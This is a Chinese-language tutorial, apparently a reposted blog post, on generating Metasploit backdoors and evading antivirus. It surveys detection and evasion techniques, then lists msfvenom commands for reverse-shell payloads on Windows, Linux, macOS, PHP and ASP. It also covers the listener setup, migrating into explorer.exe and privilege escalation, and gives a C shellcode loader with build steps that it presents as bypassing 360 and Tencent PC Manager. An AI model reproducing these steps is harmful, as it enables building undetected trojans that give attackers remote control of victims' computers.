第三章-6 Metasploit后门生成模块

每日一句:
		君王游乐万机轻,一曲霓裳四海兵。			——李约《过华清宫》
		多练习,学了就练习,不然没效果。
		
本文内容:
		~常用命令
		~常见的生成后门模式
		~绕过360生成测试
		~绕过腾讯管家生成测试

目的:从后门生成模块到权限维持

零、杀毒与免杀的对抗

	1,免杀技术发展史
				 
				 理论上讲,免杀一定是出现在杀毒软件之后的。而通过杀毒软件的发展史不难知道,
				 第一款杀毒软件kill 1.0是Wish公司1987年推出的,也就是说免杀技术至少是在1989年以后才发展起来的。
				 关于世界免杀技术的历史信息已无从考证,但从国内来讲,免杀技术的起步可以说是非常晚了。

				1989年:第一款杀毒软件Mcafee诞生,标志着反病毒与反查杀时代的到来。

				1997年:国内出现了第一个可以自动变异的千面人病毒(Polymorphic/Mutation Virus)。
				自动变异就是病毒针对杀毒软件的免杀方法之一,但是与免杀手法的定义有出入。

				2002年7月31日:国内第一个真正意义上的变种病毒“中国黑客II”出现,它除了具有新的特征之外,
				还实现了“中国黑客”第一代所未实现的功能,可见这个变种也是病毒编写者自己制造的。

				2005年09月:免杀技术开始真正的火起来。
				由上面的信息可见,国内在1997年出现了第一个可以自动变异的千面人病毒,
				虽然自动变异也可以看为是针对杀毒软件的一种免杀方法,但是由于与免杀手法的定义有出入,
				所以如果将国内免杀技术起源定位1997年会显得比较牵强。

				一直等到2002年7月31日,国内第一个真正意义上的变种病毒“中国黑客II”才迟迟出现,
				因此我们暂且可以将国内免杀技术的起源定位在2002年7月。
	
	
	2,杀软原理简介()
			
			杀毒软件检测方式
					1,扫描技术
							1、扫描压缩包技术:	即是对压缩包案和封装文件作分析检查的技术。
							2、程序窜改防护:	即是避免恶意程序借由删除杀毒侦测程序而大肆破坏电脑。
							3、修复技术:		即是对恶意程序所损坏的文件进行还原
							4、急救盘杀毒:		利用空白U盘制作急救启动盘,来检测电脑病毒。
							5、智能扫描:		扫描最常用的磁盘,系统关键位置,耗时较短。
							6、全盘扫描:		扫描电脑全部磁盘,耗时较长。
							7、勒索软件防护:	保护电脑中的文件不被黑客恶意加密。
							8、开机扫描:		当电脑开机时自动进行扫描,可以扫描压缩文档和可能不需要的程序
							
					2,监控技术
							1、内存监控:		当发现内存中存在病毒的时候,就会主动报警;监控所有进程;
												监控读取到内存中的文件;监控读取到内存的网络数据。
							2、文件监控:		当发现写到磁盘上的文件中存在病毒,或者是被病毒感染,就会主动报警。
							3、邮件监控:		当发现电子邮件的附件存在病毒时进行拦截。
							4、网页防护:		阻止网络攻击和:提醒用户可疑的应用程序行为。和不安全下载。
							5、行为防护
			
			扫描引擎
					1,特征码扫描
						
						机制:
								将扫描信息与病毒数据库(即所谓的“病毒特征库”)进行对照,如果信息与其中的任何一个病毒特征符合,
								杀毒软件就会判断此文件被病毒感染。杀毒软件在进行查杀的时候,
								会挑选文件内部的一段或者几段代码来作为他识别病毒的方式,这种代码就叫做病毒的特征码
						
						特征码类别:
								(1).文件特征码:对付病毒在文件中的存在方式:单一文件特征码、复合文件特征码(通过多处特征进行判断);
								(2).内存特征码:对付病毒在内存中的存在方式:单一内存特征码、复合内存特征码
							
								优点:
										速度快,配备高性能的扫描引擎;准确率相对比较高,误杀操作相对较少;很少需要用户参与。
								缺点:
										采用病毒特征代码法的检测工具,面对不断出现的新病毒,必须不断更新病毒库的版本,
										否则检测工具便会老化,逐渐失去实用价值;病毒特征代码法对从未见过的新病毒,
										无法知道其特征代码,因而无法去检测新病毒;病毒特征码如果没有经过充分的检验,可能会出现误报,
										数据误删,系统破坏,给用户带来麻烦。

					2,文件校验和法
							对文件进行扫描后,可以将正常文件的内容,计算其校验和,
							将该校验和写入文件中或写入别的文件中保存;在文件使用过程中,
							定期地或每次使用文件前,检查文件现在内容算出的校验和与原来保存的校验和是否一致,
							因而可以发现文件是否感染病毒。
							
					
					3,进程行为监测法(沙盒模式)
					
						机制:
								通过对病毒多年的观察、研究,有一些行为是病毒的共同行为,而且比较特殊,
								在正常程序中,这些行为比较罕见。当程序运行时,监视其进程的各种行为,如果发现了病毒行为,立即报警。
						
						优点:	可发现未知病毒、可相当准确地预报未知的多数病毒;
						缺点:	可能误报警、不能识别病毒名称、有一定实现难度、需要更多的用户参与判断;

					4,主动防御技术
								主动防御并不需要病毒特征码支持,只要杀毒软件能分析并扫描到目标程序的行为,
								并根据预先设定的规则,判定是否应该进行清除操作 主动防御本来想领先于病毒,
								让杀毒软件自己变成安全工程师来分析病毒,从而达到以不变应万变的境界。
								但是,计算机的智能总是在一系列的规则下诞生,而普通用户的技术水平达不到专业分析病毒的水平,
								两者之间的博弈将主动防御推上一个尴尬境地。

					5,机器学习识别技术
								机器学习识别技术既可以做静态样本的二进制分析,又可以运用在沙箱动态行为分析当中,
								是为内容/行为+算法模式。伴随着深度学习的急速发展,各家厂商也开始尝试运用深度学习技术来识别病毒特征,
								如瀚思科技的基于深度学习的二进制恶意样本检测

			
			
	3,免杀概念
				免杀,也就是反病毒(AntiVirus)与反间谍(AntiSpyware)的对立面,
				英文为Anti-AntiVirus(简写Virus AV),逐字翻译为“反-反病毒”,翻译为“反杀毒技术”。
			
		免杀技术介绍:
		
				1.修改特征码
				
					免杀的最基本思想就是破坏特征,这个特征有可能是特征码,有可能是行为特征,只要破坏了病毒与木马所固有的特征,
					并保证其原有功能没有改变,一次免杀就能完成了。(特征码:能识别一个程序是一个病毒的一段不大于64字节的特征串)
					就目前的反病毒技术来讲,更改特征码从而达到免杀的效果事实上包含着两种方式。
					
					一种是改特征码,这也是免杀的最初方法。例如一个文件在某一个地址内有“灰鸽子上线成功!”这么一句话,
					表明它就是木马,只要将相应地址内的那句话改成别的就可以了,如果是无关痛痒的,直接将其删掉也未尝不可。
					
					第二种是针对目前推出的校验和查杀技术提出的免杀思想,它的原理虽然仍是特征码,但是已经脱离纯粹意义上特征码的概念,
					不过万变不离其宗。其实校验和也是根据病毒文件中与众不同的区块计算出来的,
					如果一个文件某个特定区域的校验和符合病毒库中的特征,那么反病毒软件就会报警。
					所以如果想阻止反病毒软件报警,只要对病毒的特定区域进行一定的更改,就会使这一区域的校验和改变,
					从而达到欺骗反病毒软件的目的。
					
					修改特征码最重要的是定位特征码,但是定位了特征码修改后并不代表程序就能正常运行,
					费时费力,由于各个杀软厂商的特征库不同,所以一般也只能对一类的杀软起效果。虽然效果不好,
					但有时候在没有源码的情况下可以一用。
				
				2.花指令免杀
				
					花指令其实就是一段毫无意义的指令,也可以称之为垃圾指令。花指令是否存在对程序的执行结果没有影响,
					所以它存在的唯一目的就是阻止反汇编程序,或对反汇编设置障碍。
					大多数反病毒软件是靠特征码来判断文件是否有毒的,而为了提高精度,现在的特征码都是在一定偏移量限制之内的,
					否则会对反病毒软件的效率产生严重的影响!而在黑客们为一个程序添加一段花指令之后,程序的部分偏移会受到影响,
					如果反病毒软件不能识别这段花指令,那么它检测特征码的偏移量会整体位移一段位置,自然也就无法正常检测木马了。

				3.加壳免杀
				
					说起软件加壳,简单地说,软件加壳其实也可以称为软件加密(或软件压缩),只是加密(或压缩)的方式与目的不一样罢了。
					壳就是软件所增加的保护,并不会破坏里面的程序结构,当我们运行这个加壳的程序时,系统首先会运行程序里的壳,
					然后由壳将加密的程序逐步还原到内存中,最后运行程序。
					
					当我们运行这个加壳的程序时,系统首先会运行程序的“壳”,然后由壳将加密的程序逐步还原到内存中,
					最后运行程序。这样一来,在我们看来,似乎加壳之后的程序并没有什么变化,然而它却达到了加密的目的,这就是壳的作用。
					
					加壳虽然对于特征码绕过有非常好的效果,加密壳基本上可以把特征码全部掩盖,但是缺点也非常的明显,
					因为壳自己也有特征。在某些比较流氓的国产杀软的检测方式下,主流的壳如VMP, Themida等,一旦被检测到加壳直接弹框告诉你这玩意儿有问题,虽然很直接,但是还是挺有效的。有些情况下,
					有的常见版本的壳会被直接脱掉分析。
					
					面对这种情况可以考虑用一切冷门的加密壳,有时间精力的可以基于开源的压缩壳改一些源码,效果可能会很不错。
					总得来说,加壳的方式来免杀还是比较实用的,特别是对于不开源的PE文件,通过加壳可以绕过很多特征码识别。
				
				4.内存免杀
				
					CPU不可能是为某一款加壳软件而特别设计的,因此某个软件被加壳后的可执行代码CPU是读不懂的。
					这就要求在执行外壳代码时,要先将原软件解密,并放到内存里,然后再通知CPU执行。
					
					因为杀毒软件的内存扫描原理与硬盘上的文件扫描原理都是一样的,都是通过特征码比对的,
					只不过为了制造迷惑性,大多数反病毒公司的内存扫描与文件扫描采用的不是同一套特征码,
					这就导致了一个病毒木马同时拥有两套特征码,必须要将它们全部破坏掉才能躲过反病毒软件的查杀。
					
					因此,除了加壳外,黑客们对抗反病毒软件的基本思路没变。而对于加壳,
					只要加一个会混淆程序原有代码的“猛”壳,其实还是能躲过杀毒软件的查杀的。

				5.二次编译
				
					metasploit的msfvenom提供了多种格式的payload和encoder,生成的shellcode也为二次加工提供了很大遍历,
					但是也被各大厂商盯得死死的。而shikata_ga_nai是msf中唯一的评价是excellent的编码器,
					这种多态编码技术使得每次生成的攻击载荷文件是不一样的,编码和解码也都是不一样。还可以利用管道进行多重编码进行免杀。
					
					目前msfvenom的encoder特征基本都进入了杀软的漏洞库,很难实现单一encoder编码而绕过杀软,
					所以对shellcode进行进一步修改编译成了msf免杀的主流。
					互联网上有很多借助于C、C#、python等语言对shellcode进行二次编码从而达到免杀的效果。
				
				6.分离免杀
				
					侯亮大神和倾旋大神都分别提到过payload分离免杀和webshell分离免杀,采用分离法,
					即将ShellCode和加载器分离。网上各种加载器代码也有很多,各种语言实现的都很容易找到,虽然看起来比较简单,
					但效果却是不错的。比如侯亮大神提到的shellcode_launcher,加载c代码,基本没有能查杀的AV。
				
				7.资源修改
				
					有些杀软会设置有扫描白名单,比如之前把程序图标替换为360安全卫士图标就能过360的查杀。
					
					加资源
						使用ResHacker对文件进行资源操作,找来多个正常软件,将它们的资源加入到自己软件,如图片,版本信息,对话框等。
					替换资源
						使用ResHacker替换无用的资源(Version等)。
					加签名
						使用签名伪造工具,将正常软件的签名信息加入到自己软件中。
			
				总结,上述内容非常得广泛,在这里仅仅先给大家做个普及。关于免杀,我们今天学习的主要是MSF的二次编译。

一、常用命令

			-p: 指定payload模块

			-l :列出可用项

			-f :指定文件类型

			-e:  加载编码器

			-b:删除无效字符

			-i :指定编码次数

			-x: 捆绑文件

			-o:导出文件

二、常见的生成后门模式

	1,目的:使用MsFvenom快速生成木马并且进行连接
			示例:
			
				(1),生成木马
				
					msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 lhost=192.168.221.143 lport=1250 -f exe > shell.exe
						
						-p			指定payload   
						-e			指定编码平台
						-i			指定编码次数
						-f			指定文件输出格式
						lhost		监听机的IP
						lport		监听机的端口
						msfvenom	MSF的编码模块
						
						windows/meterpreter/reverse_tcp			一个反弹shell的payload
				
				(2),将生成的木马扔到靶机
				(3),监听机开启监听模块
						
						监听模块:
							use exploit/multi/handler
								===记得配置一下options,一般也就需要设置一个payload
							
						设置payload:
							set payload windows/meterpreter/reverse_tcp
								===注意这个payload要和我们生成木马的要一致
								===还有就是配置(修改)一下端口与IP
						
						开启监听:
							run
				
				(4),手动打开刚刚生成的木马			
				(5),返回监听机,成功拿到会话
						可以试试,
							dir命令看看桌面有哪些东西
							getuid看看权限
							ps查看进程
							migrate 某个进程号		
								===将木马进程迁移至某系统进程,达到隐藏基进程的作用
								===一般迁移至explorer.exe中,这是资源管理器
								===这个进程有很多基础功能,作为进程树被用户干掉的话,电脑会直接卡死。
								
								
						注意的是,此时一般权限不会太高。
							可以试试getsystem看看能不能提权
							不行的话,就用上一节的补丁提权模块去试试
						
						另外,因为此时权限不够,做一些东西,像360都不会管
							比如,创建用户,他会提示权限不够。因为没有成功创建用户,所以360一般也不管
					
	2,常见后门生成方式
			1.Windows
				Msfvenom –platform windows –a x86 –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o C:\back.exe 
				Msfvenom –platform windows –a x86 –p windows/x64/meterpreter/reverse_tcp –f exe –o C:\back.exe
			 
			2.Linux
				msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
			 
			3.MAC
				msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
			 
			4.PHP
				msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.153.138 LPORT=1520 -f raw > shell.php
			 
			5.Asp
				msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
			 
			6.Aspx
				msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f aspx > shell.aspx
		
		问:想php,asp这种怎么利用
		答:正常将文件放置www文件夹下,开启监听,直接去访问这个文件即可

三、绕过360生成测试

	1,安装编译软件VC++6.0
			===可以自行百度,也可以找我要
	
	2,生成木马后门
			msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b ‘\x00’ lhost=192.168.177.128 lport=1250 -f c
			结果:会生成一些编码		注意:这个命令的符号是中文,记得修改一下。不然MSF会报错
	
	3,将上边生成编码与下边的代码放置同一个文本文档中
			代码:
					#include "stdafx.h"
					#include <stdio.h>
					#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
					unsigned char buf[] =
					(这里放生成好的数组)
					main()
					{
					((void(*)(void))&buf)();
					}

	4,编译c语言为exe文件
			~打开VC++
			~新建,选择工程,选择win32 Application
					取个名字(以shell为例),调整一下路径,创建新的空间
			~创建一个简单的Win32程序
			~完成、确定
			~选择Source Files\shell.cpp
					~将我们上边的C语言代码把原有代码覆盖
					~将上边生成的编码数组替换
			~选择StdAfx.cpp	
					~点击组建
					~点击编译		
					~将shell.cpp也编译一下
					~点击组建[shell.exe]
					
					注意:要先编译stdafx.cpp文件,在编译你的.cpp,生成木马。顺序不要错
			
			这时,在我们刚刚选择的文件夹里,已经创建好了exe文件
			这个生成的exeWen文件已经可以绕过360了,但是这时还不能绕腾讯电脑管家

四、绕过腾讯管家生成测试

	1,安装编译软件VC++6.0
			===可以自行百度,也可以找我要
	
	2,生成木马后门
			msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b ‘\x00’ lhost=192.168.177.128 lport=1250 -f c
			结果:会生成一些编码		注意:这个命令的符号是中文,记得修改一下。不然MSF会报错
	
	3,将上边生成编码与下边的代码放置同一个文本文档中
			代码:
					#include "stdafx.h"
					#include <stdio.h>
					#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
					unsigned char buf[] =
					(这里放生成好的数组)
					main()
					{
					((void(*)(void))&buf)();
					}

	~打开VC++
			~新建,选择工程,选择win32 Application
					取个名字(以shell为例),调整一下路径,创建新的空间
			~创建一个简单的Win32程序
			~完成、确定
			~选择Source Files\shell.cpp
					~将我们上边的C语言代码把原有代码覆盖
					~将上边生成的编码数组替换
			~选择StdAfx.cpp	
					~点击组建
					~点击编译		
					~将shell.cpp也编译一下
			~点新建,点击光标文件
					~点击,添加到工程
					~文件名随便(如aaa)
					~点确定,随便画点东西
					~点击编译
			~点新建,多新建几个干扰项
					光标文件及其下边几个
					随便命名,随便写
					别忘记点击编译
						。。。
			~最后点击全部组建,
					看看shell.exe的大小,不加干扰项应该是169K
					加成功干扰下,应该大于169
					
			这个生成的Wen文件已经可以绕过电脑管家了

五、知识补充

		问:后门生成模块的作用是什么?
				维持访问,持续控制
				
		问:MsFvenom支持生成的脚本有哪些?
				使用命令:MsFvenom -l formats查看支持的脚本列表
				
		问:如何查看msfvenom支持的payload?
				使用命令:msfvenom -l payloads查看支持的payload
				
		问:如何查看msfvenom支持的编码器?
				使用命令:msfvenom -l encoders查看支持的所有编码器
				
		问:什么是shellcode?
				Shellcode也就是利用代码
				
		问:Msfvenom导出生成的脚本的方式有那种?
				我们可以使用-o参数,或者是“>>”导出文件名
				
		问:在生成木马脚本的时候指定目标系统和目标架构的作用是什么?
				生成的脚本的准确性,有些脚本我们生成之后可能无法在对方系统运行
		
		问:Msfvenom生成后门文件的流程是什么?
				生成后门文件在对方主机上执行或者触发 2.本地监控设置的端口,然后对方上线即可控制对方主机
		
		问:在监听的时候我们使用什么模块?
				使用模块:use exploit/multi/handler
		
		问:在监听的时候我们应该注意什么?
				当我们选择了监听模块,然后呢,设置payload的时候要注意使用对应的payload,也就是我们生成木马文件所使用的payload
		
		问:常见的后门生成模式有哪些?
				根据需求来,一般来说有php,asp,Windows,linux,mac,powershell等等。
		
		问:安装vc++6.0的作用是什么?
				编译我们的C语言的数组,编译成exe可执行文件
		
		问:绕过360软件的思路是什么?
				通过msfvenom所生成的C语言,然后编译,这样的话,特征就被去掉了。然后绕过

		问:绕过腾讯管家的思路是什么?
				通过添加资源文件来改变特征码,从而去绕过,如果被查杀了,纳闷我们就添加一些东西,例如签名,版权,图标等等信息
		
		问:第一次绕过了,为什么第二次会被拦截?
				因为,你上传过你的木马后门,然后防护软件进行分析,然后第二次你同样去做,就会拦截了。
				这是不断对抗的,所以方式方法以一定只有一种,多种
		
		问:vc++6.0安装在什么地方?
				最好安装在win10上因为。如果安装在win7上可能会因为缺少组件报错
		
		问: >可以用什么参数替换?
				这个参数我们可以用-o来替换
		
		问:-e参数是干什么的?如何去选择编码器?
				-e参数是指定编码器的,选择编码器需要根据对方的系统环境来选择
原创文章 61 获赞 13 访问量 1万+

猜你喜欢

转载自blog.csdn.net/weixin_43970718/article/details/106119015
今日推荐